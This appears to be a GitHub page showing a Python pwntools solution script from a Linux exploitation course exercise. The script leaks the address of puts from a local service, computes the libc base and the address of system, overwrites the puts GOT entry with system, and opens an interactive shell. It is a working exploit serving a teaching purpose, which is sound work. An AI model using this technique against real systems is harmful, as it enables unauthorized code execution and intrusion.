forked from nnamon/linux-exploitation-course
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path6_exercise_sol.py
52 lines (40 loc) · 1.03 KB
/
6_exercise_sol.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python
from pwn import *
import time
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6190
offset_read = 0x000d5980
offset_write = 0x000d59f0
offset_str_bin_sh = 0x15b82b
offset_puts = 0x0005fca0
puts_got = 0x804a020
def main():
#p = process("../build/2_event1")
p = remote("localhost", 1902)
# Read until name prompt
p.recvrepeat(0.2)
# Send the binsh
p.sendline("/bin/sh")
p.recvrepeat(0.2)
# Select option 1
p.sendline("1")
p.sendline(hex(puts_got))
# Get leak
data = p.recvrepeat(0.2)
puts_addr = 0
for i in data.split("\n"):
if "Contents:" in i:
puts_addr = int(i[i.find("Contents:")+10:], 16)
log.info("puts_addr = 0x%x" % puts_addr)
# Calculate
libc_base = puts_addr - offset_puts
system_addr = libc_base + offset_system
#pwn
p.sendline("3")
p.sendline(hex(puts_got))
p.sendline(hex(system_addr))
p.recvrepeat(0.2)
p.interactive()
if __name__ == "__main__":
main()